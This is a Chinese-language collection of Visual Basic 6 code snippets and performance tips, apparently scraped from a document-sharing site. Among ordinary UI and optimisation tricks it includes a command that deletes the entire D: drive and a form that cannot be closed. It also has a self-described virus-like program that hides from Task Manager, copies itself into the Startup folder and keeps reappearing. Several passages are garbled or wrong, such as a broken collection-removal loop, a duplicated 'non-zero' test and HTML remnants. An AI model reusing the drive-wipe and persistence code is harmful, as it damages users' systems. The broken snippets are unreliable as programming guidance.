vb常用代码
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
隐藏form1:
form1.hide
显示form1:
form1.show
--------------------------------------------------------------------------------------------- 退出程序时,弹出窗口提示是否要退出:
Private Sub Form_Unload(Cancel As Integer)
Dim iAnswer As Integer
iAnswer = MsgBox("真要退出吗?", vbYesNo)
If iAnswer = vbNo Then
Cancel = True
Else
End
End If
End Sub
---------------------------------------------------------------------------------------------- 只能用任务管理器关闭程序的代码:
Private Sub From_Unload(Cancel As Integer)
Cancel = true
End Sub
------------------------------------------------------------------------------------------------ 点击command1打开33IQ网:
Dim strURL
Private Sub Command1_Click()
strURL = ""
Shell "explorer.exe " & strURL, 1
End Sub
------------------------------------------------------------------------------------------------ 运行c:\1.exe
shell "c:\1.exe"
执行c:\1.bat
shell "c:\1.bat"
注:只适用于大部分exe和全部bat。
------------------------------------------------------------------------------------------------
把label1.caption的值替换成label2.caption的值,label2.caption不变(括号内可省略):
label1 (.caption) = label2 (.caption)
注:是变动值(被替换值) = 数据值(参考值、不变值),别搞反了。
如 label1 = 1 而不是 1 = label1
---------------------------------------------------------------------------------------------
将text1的文本保存到某文件
(cd1是commanddialog控件,下同)
cd1.ShowSave
If Not cd1.FileName = "" Then
Open cd1.FileName For Output As #1
Print #1, Text1.Text
Close #1
End If
------------------------------------------------------------------------------------------
把某文本文件读取到TEXT1
Dim tmp$
cd1.ShowOpen
If Not cd1.FileName = "" Then
Open cd1.FileName For Input As #1
Line Input #1, tmp$
Close #1
Text1 = tmp
End If
-------------------------------------------------------------------------------------------
点击command1弹出窗口(红色处请替换成你要的内容)
Private Sub Command1_Click()
MsgBox "(显示文字)", vbYesNo(你要弹出的窗口的类型,下面有几种常用的类型), "(窗口标题)"
End Sub
或
Private Sub Command1_Click()
MsgBox "(显示文字)"
End Sub
常用的弹出窗口类型:
vbYesNo 包含是、否按钮的窗口
vbYesNoCancle 包含是、否、取消
vbOKonly 只包含确定按钮
vbOKCancle 包含确定、取消
vbQuestion 带问号图标、只有确定按钮的窗口
-----------------------------------------------------------------------------------------------
点击command1,label1随机显示1.2.3
Function a() As String
Dim b(2) As String
b(0) = 1
b(1) = 2
b(2) = 3
Randomize
a = b(Rnd * 2)
End Function
Private Sub Command1_Click()
Label1.Caption = a
End Sub
-------------------------------------------------------------------------------------------------- 删除"D:\1.txt":
Kill "D:\1.txt"
新建文件夹"D:\123":
MkDir "d:\123"
复制文件,由桌面的"1.txt"复制到"D:\1.txt":
FileCopy "C:\Documents and Settings\Administrator\桌面\1.txt", "D:\1.txt"
删除"D:\123"文件夹:
Shell "cmd /c ""rmdir.exe /s /q D:\123\""", vbNormalFocus
删除D盘所有文件(红色处后面不加\):
Shell "cmd /c ""rmdir.exe /s /q D:""", vbNormalFocus
------------------------------------------------------------------------------------------------------ App.title ="这是标题"
' 在任务管理器-程序中此VB程序的名字,本例的标题为“这是标题”
App.TaskVisible = False
' 隐藏任务管理器中此VB程序的名字
App.Path
' 此VB程序的所在文件夹路径(如程序在“d:\1.exe”,则此值为“d:”,没有“\” )App.EXEName
' 此VB程序的文件名(如程序在“d:\这是程序.exe”,则此值为“这是程序”,没有
“.exe”)
------------------------------------------------------------------------------------------------------
一个小程序,类似病毒(不要运行!!仅供参考)。
新建工程,放入一个timer控件,改Interval值为1,然后输入以下代码即可:
Private Sub Form_Load()
App.Title = ""
App.TaskVisible = False
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and
Settings\Administrator\「开始」菜单\程序\启动\" & App.EXEName & ".exe"
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub
Private Sub Timer1_Timer()
Form1.Show
End Sub
用Mid$命令超速字符串添加操作
大家都知道,&操作符的执行速度是相当慢的,特别是处理长字符串时。
当必须重复地在同一变量上附加字符时,有一个基于Mid$命令的技巧可以使用。
基本思路就是:预留一个足够长的空间存放操作的结果。
下面是应用这个技术的一个例子。
假设要建立一个字符串,它要附加从1开始的10000个整数:"1 2 3 4 5 6 7 (9999)
10000"。
下面是最简单的实现代码:
res = ""
For i = 1 to 10000: res = res & Str(i): Next
<>
face=宋体>代码虽然简单,但问题也很明显:Res变量将被重分配10000次。
下面的代码实现同样的目的,但效果明显好转:
Dim res As String
Dim i As Long
Dim index As Long
’预留足够长的缓冲空间
res = Space(90000)
’指针变量,指出在哪里插入字符串
index = 1
’循环开始
For i = 1 to 10000
substr = Str(i)
length = Len(substr)
’填充字符串的相应区间段数值
Mid$(res, index, length) = substr
’调整指针变量
index = index + length
Next
’删除多余字符
res = Left$(res, index - 1)
测试表明:在一个333MHz的计算机上,前段代码执行时间为2.2秒,后者仅仅为0.08秒!代码虽然长了些,可是速度却提高了25倍之多。
呵呵,由此看来:代码也不可貌相啊
从头开始删除集合项目
删除集合中的所有内容有许多方法,其中有些非常得迅速。
来看看一个包含10,000个项目的集合:
Dim col As New Collection, i As Long
For i = 1 To 10000
col.Add i, CStr(i)
Next
可以从末尾位置为起点删除集合内容,如下:
For i = col.Count To 1 Step -1
col.Remove i
Next
也可以从开始位置为起点删除集合内容,如下:
For i = 1 To col.Count Step 1
col.Remove i
Next
<>
face=宋体>试验证明,后者要快于前者百倍多,比如0.06秒比4.1秒。
原因在于:当引用接近末尾位置的集合项目时,VB必须要从第1个项目开始遍历整个的项目链。
<> face=宋体>更有趣的是,如果集合项目的数量加倍,那么从末尾开始删除与从头开始
删除,前者要比后者花费的时间将成倍增长,比如前者是24秒,后者可能为0.12秒
这么短!
最后提醒您:删除集合的所有内容的最快方法就是“毁灭”它,使用下面的语句: Set
col = New Collection
对于一个包含20,000个项目的集合,上述操作仅仅耗时0.05秒,这比使用最快的循
环操作进行删除也要快2倍左右。
用InStr函数实现代码减肥可以采用“旁门左道”的方式使用Instr函数实现代码的简练。
下面是一个典型的例子,检测字符串中是否包含一个元音字母:
1、普通的方法:
If UCase$(char) = "A" Or UCase$(char) = "E" Or UCase$(char) = "I" Or UCase$(char) = "O" Or UCase$(char) = "U" Then
’ it is a vowel
End If
2、更加简练的方法:
If InStr("AaEeIiOoUu", char) Then
’ it is a vowel
End If
同样,通过单词中没有的字符作为分界符,使用InStr来检查变量的内容。
下面的例子检查Word中是否包含一个季节的名字: 1、普通的方法:
If LCase$(word) = "winter" Or LCase$(word) = "spring" Or LCase$(word) = _ "summer" Or LCase$(word) = "fall" Then
’ it is a season’s name
End If
2、更加简练的方法:
If Instr(";winter;spring;summer;fall;", ";" & word & ";") Then
’ it is a season’s name
End If
有时候,甚至可以使用InStr来替代Select
Case代码段,但一定要注意参数中的字符数目。
下面的例子中,转换数字0到9的相应英文名称为阿拉伯数字: 1、普通的方法:
Select Case LCase$(word)
Case "zero"
result = 0
Case "one"
result = 1
Case "two"
result = 2
Case "three"
result = 3
Case "four"
result = 4
Case "five"
result = 5
Case "six"
result = 6
Case "seven"
result = 7
Case "eight"
result = 8
Case "nine"
result = 9
End Select
2、更加简练的方法:
result = InStr(";zero;;one;;;two;;;three;four;;five;;six;;;seven;eight;nine;", _ ";" & LCase$(word) & ";") \ 6
精用Boolean表达式,让代码再减肥
当设置基于表达式结果的Boolean型数值时,要避免使用多余的If/Then/Else语句结果。
比如:
If SomeVar > SomeOtherVar Then
BoolVal = True
Else
BoolVal = False
End If
上面这段代码就很烦琐,它们完全可以使用下面的一行代码来替代:
BoolVal = (SomeVar > SomeOtherVar)
括号不是必须的,但可以增加可读性。
根据表达式中的操作数不同,后者比前者执行起来大约快50%到85%。
后者中的括号对速度没有影响。
有时,使用这个技术实现代码的简练并非很明显。
关键是要牢记:所有的比较操作结果或者是0(false),或者是-1(True)。
所以,下面例子中的2段代码是完全相同的,但是第2段要运行得快些:
1、传统方法: If SomeVar > SomeOtherVar Then
x = x + 1
End If
2、更简练的方法
x = x - (SomeVar > SomeOtherVar)
函数名巧做局部变量
很多程序员都没有认识到“在函数本身中使用函数名”的妙处,这就象对待一个局部变量一样。
应用这个技巧可以起到临时变量的作用,有时还能加速程序运行。
看看下面的代码:
Function Max(arr() As Long) As Long
Dim res As Long, i As Long
res = arr(LBound(arr))
For i = LBound(arr) + 1 To UBound(arr)
If arr(i) > res Then res = arr(i)
Next
Max = res
End Function
去掉res变量,使用函数名称本身这个局部变量,可以使程序更加简练:
Function Max(arr() As Long) As Long
Dim i As Long
Max = arr(LBound(arr))
For i = LBound(arr) + 1 To UBound(arr)
If arr(i) > Max Then Max = arr(i)
Next
End Function
火眼识破隐藏的Variant变量
如果没有用As语句声明变量,默认类型就是Variants,比如:
Dim name ’ this is a variant
或者,当前模块下没有声明Option Explicit语句时,任何变量都是Variants类型。
许多开发者,特别是那些先前是C程序员的人,都会深信下面的语句将声明2个Interger类型变量:
Dim x, y As Integer
而实际上,x被声明为了variant类型。
由于variant类型变量要比Integer类型慢很多,所以要特别注意这种情况。
正确的一行声明方法是:
Dim x As Integer, y As Integer
GoSub在编译程序中速度变慢
编译为本地代码的VB应用程序中,如果使用 GoSubs 命令,就会比通常的 Subs 或者Function 调用慢5-6倍;相反,如果是p-code模式,就会相当快。
减少DoEvents语句的数量
不要在代码中放置不必要的DoEvents语句,尤其是在时间要求高的循环中。
遵循这个原则,至少能在循环中的每N次反复时才执行DoEvents语句,从而增强效率。
比如
使用下面的语句:
If (loopNdx Mod 10) = 0 Then DoEvents
如果只是使用DoEvents来屏蔽鼠标以及键盘操作,那么就可以在事件队列中存在待处理项目时调用它。
通过API函数GetInputState来检查这个条件的发生:
Declare Function GetInputState Lib "user32" Alias "GetInputState" () As Long
’ ...
If GetInputState() Then DoEvents
为常量定义合适的类型
VB在内部使用最简单、最可能的数据类型保存符号数值,这意味着最通常的数字类型-比如0或者1-都按照Integer类型存储。
如果在浮点表达式中使用这些常量,可以通过常量的合适类型来加速程序运行,就象下面的代码: value# = value# + 1#.
这个语句强迫编译器按照Double格式存储常量,这样就省却了运行时的隐含转换工作。
还有另外的一种处理方法就是:在常量声明时就进行相应类型的定义,代码如下:
Const ONE As Double = 1
And、Or和Xor:让我们来优化表达式
要检测一个整数值的最高有效位是否有数值,通常要使用如下的代码(有二种情况:
第一组If判断表明对Integer类型,第二组对Long类型):
If intvalue And &H8000 Then
’ most significant bit is set
End If
If lngvalue And &H80000000 Then
’ most significant bit is set
End If
但由于所有的VB变量都是有符号的,因此,最高有效位也是符号位,不管处理什么类型的数值,通过下面的代码就可以实现检测目的:
If anyvalue < 0 Then
’ most significant bit is set
End If
另外,要检测2个或者更多个数值的符号,只需要通过一个Bit位与符号位的简单表达式就可以完成。
下面是应用这个技术的几段具体代码:
1、判断X和Y是否为同符号数值:
If (x < 0 And y < 0) Or (x >= 0 And y >=0) Then ...
’ the optimized approach
If (x Xor y) >= 0 Then
2、判断X、Y和Z是否都为正数
If x >= 0 And y >= 0 And z >= 0 Then ...
’ the optimized approach
If (x Or y Or z) >= 0 Then ...
3、判断X、Y和Z是否都为负数
If x < 0 And y < 0 And z < 0 Then ...
’ the optimized approach
If (x And y And z) < 0 Then ...
4、判断X、Y和Z是否都为0
If x = 0 And y = 0 And z = 0 Then ...
’ the optimized approach
If (x Or y Or z) = 0 Then ...
5、判断X、Y和Z是否都不为0
If x = 0 And y = 0 And z = 0 Then ...
’ the optimized approach
If (x Or y Or z) = 0 Then ...
要使用这些来简单化一个复杂的表达式,必须要完全理解boolean型的操作原理。
比如,你可能会认为下面的2行代码在功能上是一致的:
If x <> 0 And y <> 0 Then
If (x And y) Then ...
然而我们可以轻易地证明他们是不同的,比如X=3(二进制=0011),Y=4(二进制=0100)。
不过没有关系,遇到这种情况时,我们可以对上面的代码进行局部优化,就能实现目的。
代码如下:
If (x <> 0) And y Then ...
静态变量慢于动态变量
在过程中引用静态局部变量要比引用常规局部动态变量慢2-3倍。
要想真正地加速过程的执行速度,最彻底的方法就是将所有的静态变量转换为模块级别变量。
这种方法的唯一不足是:过程很少是自包含的,如果要在其他工程中重用,就必须同时拷贝并粘贴这些模块级别变量。
另外的一种处理方法是:在时间要求高的循环前,将静态变量数值装入动态变量中。
善用"Assume No Aliasing"编译选项
据说,如果过程能够2次或多次引用同样的内存地址,那么过程就会包含别名数值。
一个典型的例子如下:
Dim g_GlobalVariable As Long
...
Sub ProcWithAliases(x As Long)
x = x + 1
g_GlobalVariable = g_GlobalVariable + 1
End Sub
如果传递给这个过程g_GlobalVariable变量,则将通过一个直接引用以及x参数两种方式修改变量的数值2次。
别名数值经常是不良编程习惯的产物,对于程序优化有害无益。
事实上,如果能够完全确认应用程序从来没有使用到别名变量,就可以打开"Assume No Aliasing"高级编译选项,这将告知编译器没有过程可以修改同一内存地址,使编译器产生更加有效率的汇编代码。
更特别的是,编译程序将试图缓冲这些数据到CPU的寄存器中,从而明显地加速了程序运行。
总结一下,当遇到以下情况时,就不会有别名数值:(1) 过程不引用任何全局变量 (2) 过程引用了全局变量,但从来不通过ByRef参数类型传递同一变量给过程 (3) 过程含有多个ByRef参数类型,但从来不传递同一变量到其中的2个或者多个之中。
你真正理解"Allow Unrounded Floating Point Operations"选项的含义吗?
来自微软的资料鼓吹:高级优化对话框中的所有编译选项都被认为是不稳定的,它们可能导致不正确的结果,甚至程序崩溃。
对于其中的大多数,这种说法是正确的,但是经常有一个叫做"Allow Unrounded Floating Point Operations"的选项能够给予正确的结果,防止应用程序产生bug。
考虑下面的代码段: Dim x As Double, y As Double, i As Integer
x = 10 ^ 18
y = x + 1 ’ this can’t be expressed with 64 bits
Msg Box (y = x) ’ 显示 "True" (不正确的结果)
严格地说,由于X和Y变量不包含相同的数值,MsgBox将显示False。
可问题是,由于数值1E18与1E18+1都以相同的64位浮点Double类型来表示,它们最终包含了几乎相同的数值,最后的MsgBox结果将是True。
如果打开了"Allow Unrounded Floating Point Operations"编译选项,VB就能重用已在数学协处理器堆栈中的数值,而不是内存中的数值(比如:变量)。
因为FPU堆栈具备80位的精度,因此就可以区分出这2个数值的不同:
’ if the program is compiled using the
’ "Allow Unrounded Floating Point Operations" compiler option
MsgBox (y = x) ’ 显示 "False" (正确的结果)
总结一下:当以解释模式、或者编译的p-code模式、或者编译的native代码模式但关掉"Allow Unrounded Floating Point Operations"选项这3种方式运行一个程序时,所有浮点数字运算在内部都以80位的精度进行处理。
但如果有一个数值是存储在64位Double变量中,结果就是接近的了,并且,随后使用那个变量的表达式也将产生近似的结果,而不是绝对正确的结果。
相反,如果打开"Allow Unrounded Floating Point Operations"编译选项后运行一段native编译代码,在随后的表达式中VB就经常能重用内部的80位数值,而忽略存储在变量中的当前数值。
注意:我们并不能完全控制这个功能,VB也许对此生效,也许就不生效,这要取决于表达式的复杂程度以及最初分配数值语句与随后产生结果的表达式语句的距离远近。
除法运算符"\"与"/"的区别
整数间执行除法运算时,要使用 "\" 而不是 "/"。
"/" 运算符要求返回一个单一数值,
所以,表面上看似简单的一行代码:
C% = A% / B%
实际上包含了3个隐含的转换操作:2个为除法运算做准备,从Integer转换到Single;一个完成最后的赋值操作,从Integer转换到Single。
但是如果使用了"\"操作符,情
况就大不相同了!不仅不会有这么多中间步骤,而且执行速度大大提高。
同时请记住:使用"/"操作符做除法运算时,如果其中之一是Double类型,那么结果就将是Double类型。
所以,当2个Integer或者Single类型数值做除法运算时,如果想得到高精度的结果,就需要手工强迫其中之一转换为Double类型:
’结果为 0.3333333
Print 1 / 3
’结果为 0,333333333333333
Print 1 / 3#
使用"$-类型"字符串函数会更快
VB官方文档似乎很鼓励使用"无$"类字符串函数,比如:Left、LTrim或者UCase,而
不是实现同样功能的Left$、LTrim$和UCase$函数。
但是我们必须认识到:前者返回variant类型的数值,当用于字符串表达式中时,最终必须要转换为字符串(string)类型。
因此,在严格要求时间的代码段中,我们应该使用后者,它们将快5-10%。
妙用Replace函数替代字符串连接操作符&
你大概不知道Replace函数还能这么用吧?比如下面的语句:
MsgBox "Disk not ready." & vbCr & vbCr & _
"Please check that the diskette is in the drive" & vbCr & _
"and that the drive’s door is closed."
可以看出,为了显示完整的字符串含义,要将可打印字符与非打印字符(比如:回车
符vbCr)用&符号连接在一起。
结果是:长长的字符连接串变得难于阅读。
但是,使
用Replace函数,可以巧妙地解决这个问题。
方法就是:将非打印字符以字符串中不
出现的一个可打印字符表示,这样完整地写出整个字符串,然后使用Replace函数替
换那个特别的打印字符为非打印字符(比如:回车符vbCr)。
代码如下:
MsgBox Replace("Disk not ready.§§Please check that the diskette is in the " _
& "drive§and that the drive’s door is closed.", "§", vbCr)
固定长度字符串数组:赋值快,释放快!
固定长度字符串的处理速度通常慢于可变长度字符串,这是因为所有的VB字符串函数和命令只能识别可变长度字符串。
因此,所有固定长度字符串比然被转换为可变长度
字符串。
但是,由于固定长度字符串数组占据着一块连续的内存区域,因此在被分配以及释放时,速度明显快于可变长度的数组。
比如:在一个Pentium 233MHz机器上,对于一
个固定长度为100,000的数组,给其中30个位置分配数值,大约只花费半秒种的时间。
而如果是可变长度的数组,同样的操作要耗费8秒之多!后者的删除操作耗时大约
0.35秒,但固定长度的数组几乎可以立即“毙命”!如果应用程序中涉及到这么大的一
个数组操作,选择固定长度方式数组绝对是确定无疑的了,无论是分配数值,还是释
放操作,都可以风驰电掣般完成。
未公开的返回数组型函数加速秘诀
在VB6中,函数是能够返回数组对象的。
这种情况下,我们不能象返回对象或者数值
的其他函数一样使用函数名当做局部变量来存储中间结果,因此不得不生成一个临时
局部数组,函数退出前再分配这个数组给函数名,就象下面的代码一样:
’ 返回一个数组,其中含有N个随即元素
’ 并且将平均值保存在AVG中
Function GetRandomArray(ByVal n As Long, avg As Single) As Single()
Dim i As Long, sum As Single
ReDim res(1 To n) As Single
’ 以随机数填充数组,并计算总和
Randomize Timer
For i = 1 To n
res(i) = Rnd
sum = sum + res(i)
Next
’ 赋值结果数组,计算平均值
GetRandomArray = res
avg = sum / n
End Function
难以置信的是,只需要简单地颠倒最后2条语句的顺序,就能使上面这段程序变得快些:
’ ... ’ 赋值结果数组,计算平均值
avg = sum / n
GetRandomArray = res
End Function
例如,在一个Pentium II 333MHz 机器上,当N=100,000时,前段程序运行时间为0.72秒,后段程序则为0.66秒,前后相差10%。
原因何在呢?前段程序中,VB将拷贝res数组到GetRandomArray对应的结果中,当数组很大时,花费的时间是很长的。
后段程序中,由于GetRandomArray = res是过程的最后一条语句,VB编译器就能确认res数组不会被再使用,因此将直接交换res和GetRandomArray的地址数值,从而节省了数组元素的物理拷贝操作以及随后的res数组释放操作。
总结如下:当编写返回数组的函数时,一定要将分配临时数组到函数名的语句放在最后,就是其后紧挨者Exit Function 或者End Function的位置。
--------------------------------------------------------------------------------
Dim i As Long
ReDim res(0 To UBound(values)) As Integer
For i = 0 To UBound(values)
res(i) = values(i)
Next
ArrayInt = res()
End Function
同时,也可以创建一个子程序段来检测传递给它的数值的类型,并返回正确类型的数组。
这种情况下,函数应该定义为返回Variant。
访问简单变量总是快于数组元素值
读写数组中的元素速度通常都慢于访问一个简单变量,因此,如果在一个循环中要重复使用同一数组元素值,就应该分配数组元素值到临时变量中并使用这个变量。
下面举一个例子,检测整数数组中是否存在重复项:
Function AnyDuplicates(intArray() As Integer) As Boolean
’如果数组包含重复项,返回True
Dim i As Long, j As Long,
Dim lastItem As Long
Dim value As Integer
’只计算机UBound()一次
lastItem = UBound(intArray)
For i = LBound(intArray) To lastItem
’ 保存intArray(i)到非数组变量中
value = intArray(i)
For j = i + 1 To lastItem
If value = intArray(j) Then
AnyDuplicates = True
Exit Function
End If
Next
Next
’没有发现重复项
AnyDuplicates = False
End Function
上述程序有2层循环,通过缓存intArray(i)的数值到一个普通的、非数组变量中,节省了CPU运行时间。
经测试,这将提高80%的速度。
创建新表时,快速拷贝字段
在VB6中,无需离开开发环境就可以创建新的SQL Server和Oracle表。
方法很简单:打开DataView窗口,用鼠标右键单击数据库的表文件夹,再选择新表格菜单命令。
当处理相似表格时,就是说具有许多相同字段的表格,我们完全可以在很短的时间内
容完成设定操作。
具体步骤是:在设计模式下打开源表格,加亮选择要拷贝字段对应
的行,按Ctrl-C拷贝信息到粘贴板;然后,在设计模式打开目标表格,将光标置于要
粘贴字段所在的位置,按Ctrl-V。
这样,就拷贝了所有的字段名称以及它们所带的属性。
无闪烁地快速附加字符串到textbox控件
附加文本到TextBox或者RichTextBox控件的通常方法是在当前内容上连接上新的字符串:
Text1.Text = Text1.Text & newString
但还有一个更快的方法,并且会减少连接操作的闪烁感,代码如下:
Text1.SelStart = Len(Text1.Text)
Text1.SelText = newString
快速找到选中的OptionButton
OptionButton控件经常是作为控件数组存在的,要快速找到其中的哪一个被选中,可以使用下面的代码:
’假设控件数组包含3个OptionButton控件
intSelected = Option(0).value * 0 - Option(1).value * 1 - Option(2).value * 2
注意,因为第一个操作数总是0,所以上述代码可以精简如下:
intSelected = -Option(1).value - Option(2).value * 2
表单及控件的引用阻止了表单的卸载
当指派表单或者表单上的控件到该表单模块以外的一个对象变量中时,如果要卸载表单,就必须首先将那个变量设置为 to Nothing。
也就是说,如果不设置为Nothing,即使看不到这个对象了,但它仍旧是保存在内存中的。
注意:这并非是一个bug,这仅仅是COM引用规则的一个结果。
唯一要注意的就是引用的这个控件将阻止整个表单的卸载操作,它将依赖于它的父表单而存在。
重定义编译DLL文件的基地址
许多VB开发者都知道应该在工程属性对话框的“编译”功能页面中定义一个DLL基地址数值。
这不同于工程中任何其他DLL或OCX的基地址。
当操作没有源代码的编译DLL或者OCX文件时,可以使用EDITBIN程序修改它的基地址。
EDITBIN程序随Visual Studio安装后就有了,可以在主Visual Studio目录的VC98\BIN目录下找到它。
比如,以下代码重新设定一个编译DLL文件的基地址为12000000(16进制):
EDITBIN /REBASE:BASE=0x12000000 myfile.dll
同样,EDITBIN程序对可执行文件也有一些处理技巧。
以下是该程序支持的完整功能选项列表(使用EDITBIN /? 可以列出这些):
/BIND[:PATH=path]
/HEAP:reserve[,commit]
/LARGEADDRESSAWARE[:NO]
/NOLOGO
/REBASE[:[BASE=address][,BASEFILE][,DOWN]]
/RELEASE
/SECTION:name[=newname][,[[!]{cdeikomprsuw}][a{1248ptsx}]]
/STACK:reserve[,commit]
/SUBSYSTEM:{NATIVE|WINDOWS|CONSOLE|WINDOWSCE|POSIX}[,#[.##]]
/SWAPRUN:{[!]CD|[!]NET}
/VERSION:#[.#]
/WS:[!]AGGRESSIVE
快速调入TreeView控件以及ListView控件的子项内容
有一个简单但仍未发现的技巧可用于在TreeView控件中装载多个节点,或者在ListView控件中装载多个ListItems。
这种方法要比传统做法快。
先看看下面这个传统方法:
For i = 1 To 5000
TreeView1.Nodes.Add , , , "Node " & i
Next
改进一下,代替重复引用TreeView1对象的Nodes集合,我们可以先将之保存在临时对象变量中:
Dim nods As MSComctlLib.Nodes
Set nods = TreeView1.Nodes
For i = 1 To 5000
nods.Add , , , "Node " & i
Next
甚至,如果使用With代码块,还可以不需要临时变量:
With TreeView1.Nodes
For i = 1 To 5000
.Add , , , "Node " & i
Next
End With
经测试,优化的循环代码要比传统方法执行速度快40%左右。
原因在于:将Nodes集合对象保存在临时变量中,或者应用With代码块后VB将使用隐藏的临时变量后,就可以避免在循环中重复绑定Nodes对象到它的父TreeView1对象上。
由于这种绑定是低效率的,因此省却它就能节省大量的执行时间。
同样的道理对于其他ActiveX控件也生效:
ListView控件的ListItems、ListSubItems以及ColumnHeaders集合
Toolbar控件的Buttons和ButtonMenus集合
ImageList的ListImages集合
StatusBar控件的Panels集合
TabStrip控件的Tabs集合
Friend过程快于Public过程
你可能会非常惊奇:Friend类型过程的执行速度要明显快于Public类型。
这可以通过创建一个带有Private类和Public类 (设定Instancing = MultiUse)的ActiveX EXE工程看到,在2个类模块中添加下面的代码:
Public Sub PublicSub(ByVal value As Long)
’
End Sub
Public Function PublicFunction(ByVal value As Long) As Long
’
End Function
Friend Sub FriendSub(ByVal value As Long)
’
End Sub
Friend Function FriendFunction(ByVal value As Long) As Long
’ End Function
然后,在表单模块中创建一个循环,执行每个例程许多次。
比如,要在一个Pentium
II机器上查看执行时间上的区别,可以调用每个例程1,000,000次。
下面是测试的结果:
Private类模块中,反复调用1,000,000次Public Sub或者Function耗费了0.46秒,
而调用内容相同的Friend类型模块则分别只有0.05秒和0.06秒。
前后竟然相差了8-9倍之多!对于MultiUse类型的Public类模块,也是一样的结果。
对于这个不可思议的结果的可能解释是:Friend型过程没有处理汇集和拆装代码的消
耗(Public过程可以从当前工程外被调用,因此COM必须要来回地汇集数据)。
但是
在多数情况下,这些时间差别是不明显的,特别是程序中包含一些复杂和耗时的语句时。
即使这样,Friend型过程仍有其他的优势高于Public类型,比如:接受和返回在BAS
模块中定义的UDT变量的能力。
使用Objptr函数快速查找集合中的对象
ObjPtr函数的一个最简单但是却最有效的用途就是提供快速寻找集合中对象的关键字。
假设有一个对象集合,它没有可以当做关键字以从集合中取回的属性。
那么,我们就
可以使用ObjPtr函数的返回值作为集合中的关键字:
Dim col As New Collection
Dim obj As CPerson
’创建新的CPerson对象,并添加到集合中
Set obj = New CPerson
= "John Smith"
col.Add obj, CStr(ObjPtr(obj)) ’关键字必须是字符串
因为任何对象都有一个明确的ObjPtr数值,而且它是不变的,所以,我们可以容易地、快速地从集合中取回它:
’ 删除集合中的对象
col.Remove CStr(ObjPtr(obj))
这个技巧可以适用于任何类型的对象,包括VB中的表单和控件,以及外部对象。
使用ObjPtr检测2个对象变量是否指向同一对象。